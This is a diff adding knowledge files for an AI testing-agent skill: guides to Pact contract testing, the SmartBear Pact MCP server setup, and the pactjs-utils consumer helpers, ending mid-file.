+type TemplateQuery = Record<string, TemplateQueryValue>;
+
+export type ProviderStateInput = {
+  name: string;
+  params: Record<string, unknown>;
+};
+
+type JsonMap = { [key: string]: boolean | number | string | null | JsonMap | Array<unknown> };
+type JsonContentBuilder = {
+  headers: (headers: TemplateHeaders) => unknown;
+  jsonBody: (body: unknown) => unknown;
+  query?: (query: TemplateQuery) => unknown;
+};
+
+export type JsonContentInput = {
+  body?: unknown;
+  headers?: TemplateHeaders;
+  query?: TemplateQuery;
+};
+
+export const toJsonMap = (obj: Record<string, unknown>): JsonMap =>
+  Object.fromEntries(
+    Object.entries(obj).map(([key, value]) => {
+      if (value === null || value === undefined) return [key, 'null'];
+      if (typeof value === 'object' && !(value instanceof Date) && !Array.isArray(value)) return [key, JSON.stringify(value)];
+      if (typeof value === 'number' || typeof value === 'boolean') return [key, value];
+      if (value instanceof Date) return [key, value.toISOString()];
+      return [key, String(value)];
+    }),
+  );
+
+export const createProviderState = ({ name, params }: ProviderStateInput): [string, JsonMap] => [name, toJsonMap(params)];
+
+export const setJsonContent =
+  ({ body, headers, query }: JsonContentInput) =>
+  (builder: JsonContentBuilder): void => {
+    if (query && builder.query) {
+      builder.query(query);
+    }
+
+    if (headers) {
+      builder.headers(headers);
+    }
+
+    if (body !== undefined) {
+      builder.jsonBody(body);
+    }
+  };
+
+export const setJsonBody = (body: unknown) => setJsonContent({ body });
+```
+
+**Key Points**:
+
+- If `@seontechnologies/pactjs-utils` is not yet installed, create a local shim that mirrors the API
+- Add a TODO comment noting to swap for the published package when available
+- The shim exports `createProviderState`, `toJsonMap`, `setJsonContent`, `setJsonBody`, and helper input types
+- Keep shim types local (or sourced from public exports only); do not import from internal Pact paths like `@pact-foundation/pact/src/*`
+
+---
+
+### Example 9: .gitignore Entries
+
+**Context**: Pact-specific entries to add to `.gitignore`.
+
+```
+# Pact contract testing artifacts
+/pacts/
+pact-logs/
+```
+
+---
+
+## Validation Checklist
+
+Before presenting the consumer CDC framework to the user, verify:
+
+- [ ] `vitest.config.pact.ts` is minimal (no pool/coverage/setup copied from unit config)
+- [ ] Script names match pactjs-utils (`test:pact:consumer`, `publish:pact`, `can:i:deploy:consumer`, `record:consumer:deployment`)
+- [ ] Scripts source `env-setup.sh` inline in package.json
+- [ ] Shell scripts use `pact-broker` not `npx pact-broker`
+- [ ] Shell scripts use `PACTICIPANT` env var pattern
+- [ ] `can-i-deploy.sh` has `--retry-while-unknown=10 --retry-interval=30`
+- [ ] `record-deployment.sh` has branch guard
+- [ ] `env-setup.sh` uses `set -eu`; broker scripts use `set -euo pipefail` — each with explanatory comment
+- [ ] CI workflow named `contract-test-consumer.yml`
+- [ ] CI has workflow-level env block (not per-step)
+- [ ] CI has `detect-breaking-change` step before install
+- [ ] CI step numbering skips (3) — webhook-triggered provider verification
+- [ ] CI can-i-deploy has `PACT_BREAKING_CHANGE != 'true'` condition
+- [ ] CI has NO upload-artifact step
+- [ ] `.github/actions/detect-breaking-change/action.yml` exists
+- [ ] Consumer tests use `.pacttest.ts` extension
+- [ ] Consumer tests use PactV4 `addInteraction()` builder
+- [ ] `uponReceiving()` names follow `"a request to <action> <resource> [<condition>]"` pattern and are unique within the consumer-provider pair
+- [ ] Interaction callbacks use `setJsonContent` for query/header/body and `setJsonBody` for body-only responses
+- [ ] Request bodies use exact values (no `like()` wrapper) — Postel's Law: be strict in what you send
+- [ ] `like()`, `eachLike()`, `string()`, `integer()` matchers are only used in `willRespondWith` (responses), not in `withRequest` (requests) — matchers check type/shape, not exact values
+- [ ] Consumer tests call REAL consumer code (actual API client functions), NOT raw `fetch()`
+- [ ] Consumer code exposes URL injection mechanism (`setApiUrl()`, env var, or constructor param)
+- [ ] Local consumer-helpers shim present if pactjs-utils not installed
+- [ ] `.gitignore` includes `/pacts/` and `pact-logs/`
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — Library decision tree and installation
+- `pactjs-utils-consumer-helpers.md` — `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` API details
+- `pactjs-utils-provider-verifier.md` — Provider-side verification patterns
+- `pactjs-utils-request-filter.md` — Auth injection for provider verification
+- `contract-testing.md` — Foundational CDC patterns and resilience coverage
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pact-mcp.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pact-mcp.md
new file mode 100644
index 0000000..3badcaf
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pact-mcp.md
@@ -0,0 +1,204 @@
+# Pact MCP Server (SmartBear)
+
+## Principle
+
+Use the SmartBear MCP server to enable AI agent interaction with PactFlow/Pact Broker during contract testing workflows. The MCP server provides tools for generating pact tests, fetching provider states, reviewing test quality, and checking deployment safety — all accessible through the Model Context Protocol.
+
+## Rationale
+
+### Why MCP for contract testing?
+
+- **Live broker queries**: AI agents can fetch existing provider states, verification results, and deployment status directly from PactFlow
+- **Test generation assistance**: MCP tools generate consumer and provider tests based on existing contracts, OpenAPI specs, or templates
+- **Automated review**: MCP-powered review checks tests against best practices without manual inspection
+- **Deployment safety**: `can-i-deploy` checks integrated into agent workflows for real-time compatibility verification
+
+### When TEA uses it
+
+- **test-design workflow**: Fetch existing provider states to understand current contract landscape
+- **automate workflow**: Generate pact tests using broker knowledge and existing contracts
+- **test-review workflow**: Review pact tests against best practices with automated feedback
+- **ci workflow**: Reference can-i-deploy and matrix tools for pipeline guidance
+
+## Available Tools
+
+| #   | Tool                      | Description                                                             | When Used             |
+| --- | ------------------------- | ----------------------------------------------------------------------- | --------------------- |
+| 1   | **Generate Pact Tests**   | Create consumer/provider tests from code, OpenAPI, or templates         | automate workflow     |
+| 2   | **Fetch Provider States** | List all provider states from broker for a given consumer-provider pair | test-design, automate |
+| 3   | **Review Pact Tests**     | Analyze tests against contract testing best practices                   | test-review           |
+| 4   | **Can I Deploy**          | Check deployment safety via broker verification matrix                  | ci workflow           |
+| 5   | **Matrix**                | Query consumer-provider verification matrix                             | ci, test-design       |
+| 6   | **PactFlow AI Status**    | Check AI credits and permissions (PactFlow Cloud only)                  | diagnostics           |
+| 7   | **Metrics - All**         | Workspace-wide contract testing metrics                                 | reporting             |
+| 8   | **Metrics - Team**        | Team-level adoption statistics (PactFlow Cloud only)                    | reporting             |
+
+## Installation
+
+### Config file locations
+
+| Tool              | Global Config File                    | Format                 |
+| ----------------- | ------------------------------------- | ---------------------- |
+| Claude Code       | `~/.claude.json`                      | JSON (`mcpServers`)    |
+| Codex             | `~/.codex/config.toml`                | TOML (`[mcp_servers]`) |
+| Gemini CLI        | `~/.gemini/settings.json`             | JSON (`mcpServers`)    |
+| Cursor            | `~/.cursor/mcp.json`                  | JSON (`mcpServers`)    |
+| Windsurf          | `~/.codeium/windsurf/mcp_config.json` | JSON (`mcpServers`)    |
+| VS Code (Copilot) | `.vscode/mcp.json`                    | JSON (`servers`)       |
+
+> **Claude Code tip**: Prefer the `claude mcp add` CLI over manual JSON editing. Use `-s user` for global (all projects) or omit for per-project (default).
+
+### CLI shortcuts (Claude Code and Codex)
+
+```bash
+# Claude Code — use add-json for servers with env vars (-s user = global)
+claude mcp add-json -s user smartbear \
+  '{"type":"stdio","command":"npx","args":["-y","@smartbear/mcp@latest"],"env":{"PACT_BROKER_BASE_URL":"https://{tenant}.pactflow.io","PACT_BROKER_TOKEN":"<your-token>"}}'
+
+# Codex
+codex mcp add smartbear -- npx -y @smartbear/mcp@latest
+```
+
+### JSON config (Gemini CLI, Cursor, Windsurf)
+
+Add a `"smartbear"` entry to the `mcpServers` object in the config file for your tool:
+
+```json
+{
+  "mcpServers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "<your-api-token>"
+      }
+    }
+  }
+}
+```
+
+### Codex TOML config
+
+Codex uses TOML instead of JSON. Add to `~/.codex/config.toml`:
+
+```toml
+[mcp_servers.smartbear]
+command = "npx"
+args = ["-y", "@smartbear/mcp@latest"]
+
+[mcp_servers.smartbear.env]
+PACT_BROKER_BASE_URL = "https://{tenant}.pactflow.io"
+PACT_BROKER_TOKEN = "<your-api-token>"
+```
+
+Note the key is `mcp_servers` (underscored), not `mcpServers`.
+
+### VS Code (GitHub Copilot)
+
+Add to `.vscode/mcp.json` (note: uses `servers` key, not `mcpServers`):
+
+```json
+{
+  "servers": {
+    "smartbear": {
+      "type": "stdio",
+      "command": "npx",
+      "args": ["-y", "@smartbear/mcp@latest"],
+      "env": {
+        "PACT_BROKER_BASE_URL": "https://{tenant}.pactflow.io",
+        "PACT_BROKER_TOKEN": "${input:pactToken}"
+      }
+    }
+  }
+}
+```
+
+> **Note**: Set either `PACT_BROKER_TOKEN` (for PactFlow) or `PACT_BROKER_USERNAME`+`PACT_BROKER_PASSWORD` (for self-hosted). Leave unused vars empty.
+
+## Required Environment Variables
+
+| Variable               | Required                     | Description                             |
+| ---------------------- | ---------------------------- | --------------------------------------- |
+| `PACT_BROKER_BASE_URL` | Yes (for Pact features)      | PactFlow or self-hosted Pact Broker URL |
+| `PACT_BROKER_TOKEN`    | For PactFlow / token auth    | API token for broker authentication     |
+| `PACT_BROKER_USERNAME` | For basic auth (self-hosted) | Username for basic authentication       |
+| `PACT_BROKER_PASSWORD` | For basic auth (self-hosted) | Password for basic authentication       |
+
+**Authentication**: Use token auth (`PACT_BROKER_TOKEN`) for PactFlow. Use basic auth (`PACT_BROKER_USERNAME` + `PACT_BROKER_PASSWORD`) for self-hosted Pact Broker instances. Only one auth method is needed.
+
+**Requirements**: Node.js 20+
+
+## Pattern Examples
+
+### Example 1: Fetching Provider States During Test Design
+
+When designing contract tests, use MCP to query existing provider states:
+
+```
+# Agent queries SmartBear MCP during test-design workflow:
+# → Fetch Provider States for consumer="movie-web", provider="SampleMoviesAPI"
+# ← Returns: ["movie with id 1 exists", "no movies exist", "user is authenticated"]
+#
+# Agent uses this to generate comprehensive consumer tests covering all states
+```
+
+### Example 2: Reviewing Pact Tests
+
+During test-review workflow, use MCP to evaluate test quality:
+
+```
+# Agent submits test file to SmartBear MCP Review tool:
+# → Review Pact Tests with test file content
+# ← Returns: feedback on matcher usage, state coverage, interaction naming
+#
+# Agent incorporates feedback into review report
+```
+
+### Example 3: Can I Deploy Check in CI
+
+During CI workflow design, reference the can-i-deploy tool:
+
+```
+# Agent generates CI pipeline with can-i-deploy gate:
+# → Can I Deploy: pacticipant="SampleMoviesAPI", version="${GITHUB_SHA}", to="production"
+# ← Returns: { ok: true/false, reason: "..." }
+#
+# Agent designs pipeline to block deployment if can-i-deploy fails
+```
+
+## Key Points
+
+- **Per-project install recommended**: Different projects may target different PactFlow tenants — match TEA's per-project config philosophy
+- **Env vars are project-specific**: `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` vary by project/team
+- **Node.js 20+ required**: SmartBear MCP server requires Node.js 20 or higher
+- **PactFlow Cloud features**: Some tools (AI Status, Team Metrics) are only available with PactFlow Cloud, not self-hosted Pact Broker
+- **Complements pactjs-utils**: MCP provides broker interaction during design/review; pactjs-utils provides runtime utilities for test code
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — runtime utilities that pact tests import
+- `pactjs-utils-provider-verifier.md` — verifier options that reference broker config
+- `contract-testing.md` — foundational contract testing patterns
+
+## Anti-Patterns
+
+### Wrong: Using MCP for runtime test execution
+
+```
+# ❌ Don't use MCP to run pact tests — use npm scripts and CI pipelines
+# MCP is for agent-assisted design, generation, and review
+```
+
+### Right: Use MCP for design-time assistance
+
+```
+# ✅ Use MCP during planning and review:
+# - Fetch provider states to inform test design
+# - Generate test scaffolds from existing contracts
+# - Review tests for best practice compliance
+# - Check can-i-deploy during CI pipeline design
+```
+
+_Source: SmartBear MCP documentation, PactFlow developer docs_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-consumer-helpers.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-consumer-helpers.md
new file mode 100644
index 0000000..b0a1f19
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-consumer-helpers.md
@@ -0,0 +1,270 @@
+# Pact.js Utils Consumer Helpers
+
+## Principle
+
+Use `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` from `@seontechnologies/pactjs-utils` to build type-safe provider state tuples and reusable PactV4 JSON callbacks for consumer contract tests. These helpers eliminate manual `JsonMap` casting and repetitive inline builder lambdas.
+
+## Rationale
+
+### Problems with raw consumer helper handling
+
+- **JsonMap requirement**: Pact's `.given(stateName, params)` requires `params` to be `JsonMap` — a flat object where every value must be `string | number | boolean | null`
+- **Type gymnastics**: Complex params (Date objects, nested objects, null values) require manual casting that TypeScript can't verify
+- **Inconsistent serialization**: Different developers serialize the same data differently (e.g., dates as ISO strings vs timestamps)
+- **Verbose `.given()` calls**: Repeating state name and params inline makes consumer tests harder to read
+- **Repeated interaction callbacks**: PactV4 interactions duplicate inline `(builder) => { ... }` blocks for body/query/header setup
+
+### Solutions
+
+- **`createProviderState`**: Returns a `[string, JsonMap]` tuple that spreads directly into `.given()` — one function handles name and params
+- **`toJsonMap`**: Explicit coercion rules documented and tested — Date→ISO string, null→"null" string, nested objects→JSON string
+- **`setJsonContent`**: Curried callback helper for request/response builders — set `query`, `headers`, and/or `body` from one reusable function
+- **`setJsonBody`**: Body-only shorthand for `setJsonContent({ body })` — ideal for concise `.willRespondWith(...)` bodies
+
+## Pattern Examples
+
+### Example 1: Basic Provider State Creation
+
+```typescript
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'movie-web',
+  provider: 'SampleMoviesAPI',
+  dir: './pacts',
+});
+
+describe('Movie API Contract', () => {
+  it('should return movie by id', async () => {
+    // createProviderState returns [stateName, JsonMap] tuple
+    const providerState = createProviderState({
+      name: 'movie with id 1 exists',
+      params: { id: 1, name: 'Inception', year: 2010 },
+    });
+
+    await provider
+      .given(...providerState) // Spread tuple into .given(name, params)
+      .uponReceiving('a request for movie 1')
+      .withRequest({ method: 'GET', path: '/movies/1' })
+      .willRespondWith({
+        status: 200,
+        body: MatchersV3.like({ id: 1, name: 'Inception', year: 2010 }),
+      })
+      .executeTest(async (mockServer) => {
+        const res = await fetch(`${mockServer.url}/movies/1`);
+        const movie = await res.json();
+        expect(movie.name).toBe('Inception');
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- `createProviderState` accepts `{ name: string, params: Record<string, unknown> }`
+- Both `name` and `params` are required (pass `params: {}` for states without parameters)
+- Returns `[string, JsonMap]` — spread with `...` into `.given()`
+- `params` values are automatically converted to JsonMap-compatible types
+- Works identically with HTTP (`PactV3`) and message (`MessageConsumerPact`) pacts
+
+### Example 2: Complex Parameters with toJsonMap
+
+```typescript
+import { toJsonMap } from '@seontechnologies/pactjs-utils';
+
+// toJsonMap conversion rules:
+// - string, number, boolean → passed through
+// - null → "null" (string)
+// - undefined → "null" (string, same as null)
+// - Date → ISO string (e.g., "2025-01-15T10:00:00.000Z")
+// - nested object → JSON string
+// - array → comma-separated string via String() (e.g., [1,2,3] → "1,2,3")
+
+const params = toJsonMap({
+  id: 42,
+  name: 'John Doe',
+  active: true,
+  score: null,
+  createdAt: new Date('2025-01-15T10:00:00Z'),
+  metadata: { role: 'admin', permissions: ['read', 'write'] },
+});
+
+// Result:
+// {
+//   id: 42,
+//   name: "John Doe",
+//   active: true,
+//   score: "null",
+//   createdAt: "2025-01-15T10:00:00.000Z",
+//   metadata: '{"role":"admin","permissions":["read","write"]}'
+// }
+```
+
+**Key Points**:
+
+- `toJsonMap` is called internally by `createProviderState` — you rarely need it directly
+- Use it when you need explicit control over parameter conversion outside of provider states
+- Conversion rules are deterministic: same input always produces same output
+
+### Example 3: Provider State Without Parameters
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// State without params — second tuple element is empty object
+const emptyState = createProviderState({ name: 'no movies exist', params: {} });
+// Returns: ['no movies exist', {}]
+
+await provider
+  .given(...emptyState)
+  .uponReceiving('a request when no movies exist')
+  .withRequest({ method: 'GET', path: '/movies' })
+  .willRespondWith({ status: 200, body: [] })
+  .executeTest(async (mockServer) => {
+    const res = await fetch(`${mockServer.url}/movies`);
+    const movies = await res.json();
+    expect(movies).toEqual([]);
+  });
+```
+
+### Example 4: Multiple Provider States
+
+```typescript
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+// Some interactions require multiple provider states
+// Call .given() multiple times with different states
+await provider
+  .given(...createProviderState({ name: 'user is authenticated', params: { userId: 1 } }))
+  .given(...createProviderState({ name: 'movie with id 5 exists', params: { id: 5 } }))
+  .uponReceiving('an authenticated request for movie 5')
+  .withRequest({
+    method: 'GET',
+    path: '/movies/5',
+    headers: { Authorization: MatchersV3.like('Bearer token') },
+  })
+  .willRespondWith({ status: 200, body: MatchersV3.like({ id: 5 }) })
+  .executeTest(async (mockServer) => {
+    // test implementation
+  });
+```
+
+### Example 5: When to Use setJsonBody vs setJsonContent
+
+```typescript
+import { MatchersV3 } from '@pact-foundation/pact';
+import { setJsonBody, setJsonContent } from '@seontechnologies/pactjs-utils';
+
+const { integer, string } = MatchersV3;
+
+await pact
+  .addInteraction()
+  .given('movie exists')
+  .uponReceiving('a request to get movie by name')
+  .withRequest(
+    'GET',
+    '/movies',
+    setJsonContent({
+      query: { name: 'Inception' },
+      headers: { Accept: 'application/json' },
+    }),
+  )
+  .willRespondWith(
+    200,
+    setJsonBody({
+      status: 200,
+      data: { id: integer(1), name: string('Inception') },
+    }),
+  );
+```
+
+**Key Points**:
+
+- Use `setJsonContent` when the interaction needs `query`, `headers`, and/or `body` in one callback (most request builders)
+- Use `setJsonBody` when you only need `jsonBody` and want the shorter `.willRespondWith(status, setJsonBody(...))` form
+- `setJsonBody` is equivalent to `setJsonContent({ body: ... })`
+
+## Key Points
+
+- **Spread pattern**: Always use `...createProviderState()` — the tuple spreads into `.given(stateName, params)`
+- **Type safety**: TypeScript enforces `{ name: string, params: Record<string, unknown> }` input (both fields required)
+- **Null handling**: `null` becomes `"null"` string in JsonMap (Pact requirement)
+- **Date handling**: Date objects become ISO 8601 strings
+- **No nested objects in JsonMap**: Nested objects are JSON-stringified — provider state handlers must parse them
+- **Array serialization is lossy**: Arrays are converted via `String()` (e.g., `[1,2,3]` → `"1,2,3"`) — prefer passing arrays as JSON-stringified objects for round-trip safety
+- **Message pacts**: Works identically with `MessageConsumerPact` — same `.given()` API
+- **Builder reuse**: `setJsonContent` works for both `.withRequest(...)` and `.willRespondWith(...)` callbacks (query is ignored on response builders)
+- **Body shorthand**: `setJsonBody` keeps body-only responses concise and readable
+- **Matchers check type, not value**: `string('My movie')` means "any string", `integer(1)` means "any integer". The example values are arbitrary — the provider can return different values and verification still passes as long as the type matches. Use matchers only in `.willRespondWith()` (responses), never in `.withRequest()` (requests) — Postel's Law applies.
+- **Reuse test values across files**: Interactions are uniquely identified by `uponReceiving` + `.given()`, not by placeholder values. Two test files can both use `testId: 100` without conflicting. On the provider side, shared values simplify state handlers — idempotent handlers (check if exists, create if not) only need to ensure one record exists. Use different values only when testing different states of the same entity type (e.g., `movieExists(100)` for happy paths vs. `movieNotFound(999)` for error paths).
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, decision tree, design philosophy
+- `pactjs-utils-provider-verifier.md` — provider-side state handler implementation
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual JsonMap assembly
+
+```typescript
+// ❌ Manual casting — verbose, error-prone, no type safety
+provider.given('user exists', {
+  id: 1 as unknown as string,
+  createdAt: new Date().toISOString(),
+  metadata: JSON.stringify({ role: 'admin' }),
+} as JsonMap);
+```
+
+### Right: Use createProviderState
+
+```typescript
+// ✅ Automatic conversion with type safety
+provider.given(
+  ...createProviderState({
+    name: 'user exists',
+    params: { id: 1, createdAt: new Date(), metadata: { role: 'admin' } },
+  }),
+);
+```
+
+### Wrong: Inline state names without helper
+
+```typescript
+// ❌ Duplicated state names between consumer and provider — easy to mismatch
+provider.given('a user with id 1 exists', { id: '1' });
+// Later in provider: 'user with id 1 exists' — different string!
+```
+
+### Right: Share state constants
+
+```typescript
+// ✅ Define state names as constants shared between consumer and provider
+const STATES = {
+  USER_EXISTS: 'user with id exists',
+  NO_USERS: 'no users exist',
+} as const;
+
+provider.given(...createProviderState({ name: STATES.USER_EXISTS, params: { id: 1 } }));
+```
+
+### Wrong: Repeating inline builder lambdas everywhere
+
+```typescript
+// ❌ Repetitive callback boilerplate in every interaction
+.willRespondWith(200, (builder) => {
+  builder.jsonBody({ status: 200 });
+});
+```
+
+### Right: Use setJsonBody / setJsonContent
+
+```typescript
+// ✅ Reusable callbacks with less boilerplate
+.withRequest('GET', '/movies', setJsonContent({ query: { name: 'Inception' } }))
+.willRespondWith(200, setJsonBody({ status: 200 }));
+```
+
+_Source: @seontechnologies/pactjs-utils consumer-helpers module, pactjs-utils sample-app consumer tests_
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-overview.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-overview.md
new file mode 100644
index 0000000..cb330ef
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/pactjs-utils-overview.md
@@ -0,0 +1,216 @@
+# Pact.js Utils Overview
+
+## Principle
+
+Use production-ready utilities from `@seontechnologies/pactjs-utils` to eliminate boilerplate in consumer-driven contract testing. The library wraps `@pact-foundation/pact` with type-safe helpers for provider state creation, PactV4 JSON interaction builders, verifier configuration, and request filter injection — working equally well for HTTP and message (async/Kafka) contracts.
+
+## Rationale
+
+### Problems with raw @pact-foundation/pact
+
+- **JsonMap casting**: Provider state parameters require `JsonMap` type — manually casting every value is error-prone and verbose
+- **Repeated builder lambdas**: PactV4 interactions often repeat inline callbacks with `builder.query(...)`, `builder.headers(...)`, and `builder.jsonBody(...)`
+- **Verifier configuration sprawl**: `VerifierOptions` requires 30+ lines of scattered configuration (broker URL, selectors, state handlers, request filters, version tags)
+- **Environment variable juggling**: Different env vars for local vs remote flows, breaking change coordination, payload URL matching
+- **Express middleware types**: Request filter requires Express types that aren't re-exported from Pact
+- **Bearer prefix bugs**: Easy to double-prefix tokens as `Bearer Bearer ...` in request filters
+- **CI version tagging**: Manual logic to extract branch/tag info from CI environment
+
+### Solutions from pactjs-utils
+
+- **`createProviderState`**: One-call tuple builder for `.given()` — handles all JsonMap conversion automatically
+- **`toJsonMap`**: Explicit type coercion (null→"null", Date→ISO string, nested objects flattened)
+- **`setJsonContent`**: Curried callback helper for PactV4 `.withRequest(...)` / `.willRespondWith(...)` builders (query/headers/body)
+- **`setJsonBody`**: Body-only shorthand alias of `setJsonContent({ body })`
+- **`buildVerifierOptions`**: Single function assembles complete VerifierOptions from minimal inputs — handles local/remote/BDCT flows
+- **`buildMessageVerifierOptions`**: Same as above but for message/Kafka provider verification
+- **`handlePactBrokerUrlAndSelectors`**: Resolves broker URL and consumer version selectors from env vars with breaking change awareness
+- **`getProviderVersionTags`**: CI-aware version tagging (extracts branch/tag from GitHub Actions, GitLab CI, etc.)
+- **`createRequestFilter`**: Pluggable token generator pattern — prevents double-Bearer bugs by contract
+- **`noOpRequestFilter`**: Pass-through for providers that don't require auth injection
+
+## Installation
+
+```bash
+npm install -D @seontechnologies/pactjs-utils
+
+# Peer dependency
+npm install -D @pact-foundation/pact
+```
+
+**Requirements**: `@pact-foundation/pact` >= 16.2.0, Node.js >= 18
+
+## Available Utilities
+
+| Category          | Function                          | Description                                          | Use Case                                                         |
+| ----------------- | --------------------------------- | ---------------------------------------------------- | ---------------------------------------------------------------- |
+| Consumer Helpers  | `createProviderState`             | Builds `[stateName, JsonMap]` tuple from typed input | Consumer tests: `.given(...createProviderState(input))`          |
+| Consumer Helpers  | `toJsonMap`                       | Converts any object to Pact-compatible `JsonMap`     | Explicit type coercion for provider state params                 |
+| Consumer Helpers  | `setJsonContent`                  | Curried request/response JSON callback helper        | PactV4 `.withRequest(...)` and `.willRespondWith(...)` builders  |
+| Consumer Helpers  | `setJsonBody`                     | Body-only alias of `setJsonContent`                  | Body-only `.willRespondWith(...)` responses                      |
+| Provider Verifier | `buildVerifierOptions`            | Assembles complete HTTP `VerifierOptions`            | Provider verification: `new Verifier(buildVerifierOptions(...))` |
+| Provider Verifier | `buildMessageVerifierOptions`     | Assembles message `VerifierOptions`                  | Kafka/async provider verification                                |
+| Provider Verifier | `handlePactBrokerUrlAndSelectors` | Resolves broker URL + selectors from env vars        | Env-aware broker configuration                                   |
+| Provider Verifier | `getProviderVersionTags`          | CI-aware version tag extraction                      | Provider version tagging in CI                                   |
+| Request Filter    | `createRequestFilter`             | Express middleware with pluggable token generator    | Auth injection for provider verification                         |
+| Request Filter    | `noOpRequestFilter`               | Pass-through filter (no-op)                          | Providers without auth requirements                              |
+
+## Decision Tree: Which Flow?
+
+```
+Is this a monorepo (consumer + provider in same repo)?
+├── YES → Local Flow
+│   - Consumer generates pact files to ./pacts/
+│   - Provider reads pact files from ./pacts/ (no broker needed)
+│   - Use buildVerifierOptions with pactUrls option
+│
+└── NO → Do you have a Pact Broker / PactFlow?
+    ├── YES → Remote (CDCT) Flow
+    │   - Consumer publishes pacts to broker
+    │   - Provider verifies from broker
+    │   - Use buildVerifierOptions with broker config
+    │   - Set PACT_BROKER_BASE_URL + PACT_BROKER_TOKEN
+    │
+    └── Do you have an OpenAPI spec?
+        ├── YES → BDCT Flow (PactFlow only)
+        │   - Provider publishes OpenAPI spec to PactFlow
+        │   - PactFlow cross-validates consumer pacts against spec
+        │   - No provider verification test needed
+        │
+        └── NO → Start with Local Flow, migrate to Remote later
+```
+
+## Design Philosophy
+
+1. **One-call setup**: Each utility does one thing completely — no multi-step assembly required
+2. **Environment-aware**: Utilities read env vars for CI/CD integration without manual wiring
+3. **Type-safe**: Full TypeScript types for all inputs and outputs, exported for consumer use
+4. **Fail-safe defaults**: Sensible defaults that work locally; env vars override for CI
+5. **Composable**: Utilities work independently — use only what you need
+
+## Pattern Examples
+
+### Example 1: Minimal Consumer Test
+
+```typescript
+import { PactV3 } from '@pact-foundation/pact';
+import { createProviderState } from '@seontechnologies/pactjs-utils';
+
+const provider = new PactV3({
+  consumer: 'my-frontend',
+  provider: 'my-api',
+  dir: './pacts',
+});
+
+it('should get user by id', async () => {
+  await provider
+    .given(...createProviderState({ name: 'user exists', params: { id: 1 } }))
+    .uponReceiving('a request for user 1')
+    .withRequest({ method: 'GET', path: '/users/1' })
+    .willRespondWith({ status: 200, body: { id: 1, name: 'John' } })
+    .executeTest(async (mockServer) => {
+      const res = await fetch(`${mockServer.url}/users/1`);
+      expect(res.status).toBe(200);
+    });
+});
+```
+
+### Example 2: Minimal Provider Verification
+
+```typescript
+import { Verifier } from '@pact-foundation/pact';
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    'user exists': async (params) => {
+      await db.seed({ users: [{ id: params?.id }] });
+    },
+  },
+  requestFilter: createRequestFilter({
+    tokenGenerator: () => 'test-token-123',
+  }),
+});
+
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Import path**: Always use `@seontechnologies/pactjs-utils` (no subpath exports)
+- **Peer dependency**: `@pact-foundation/pact` must be installed separately
+- **Local flow**: No broker needed — set `pactUrls` in verifier options pointing to local pact files
+- **Remote flow**: Set `PACT_BROKER_BASE_URL` and `PACT_BROKER_TOKEN` env vars
+- **Breaking changes**: Set `includeMainAndDeployed: false` when coordinating breaking changes (verifies only matchingBranch)
+- **Builder helpers**: Use `setJsonContent` when you need query/headers/body together; use `setJsonBody` for body-only callbacks
+- **Type exports**: Library exports `StateHandlers`, `RequestFilter`, `JsonMap`, `JsonContentInput`, `ConsumerVersionSelector` types
+
+## Related Fragments
+
+- `pactjs-utils-consumer-helpers.md` — detailed createProviderState, toJsonMap, setJsonContent, and setJsonBody usage
+- `pactjs-utils-provider-verifier.md` — detailed buildVerifierOptions and broker configuration
+- `pactjs-utils-request-filter.md` — detailed createRequestFilter and auth patterns
+- `contract-testing.md` — foundational contract testing patterns (raw Pact.js approach)
+- `test-levels-framework.md` — where contract tests fit in the testing pyramid
+
+## Anti-Patterns
+
+### Wrong: Manual VerifierOptions assembly when pactjs-utils is available
+
+```typescript
+// ❌ Don't assemble VerifierOptions manually
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+  pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+  publishVerificationResult: process.env.CI === 'true',
+  providerVersion: process.env.GIT_SHA || 'dev',
+  consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: (req, res, next) => {
+    /* ... */
+  },
+  // ... 20 more lines
+};
+```
+
+### Right: Use buildVerifierOptions
+
+```typescript
+// ✅ Single call handles all configuration
+const opts = buildVerifierOptions({
+  provider: 'my-api',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({ tokenGenerator: () => 'token' }),
+});
+```
+
+### Wrong: Importing raw Pact types for JsonMap conversion
+
+```typescript
+// ❌ Manual JsonMap casting
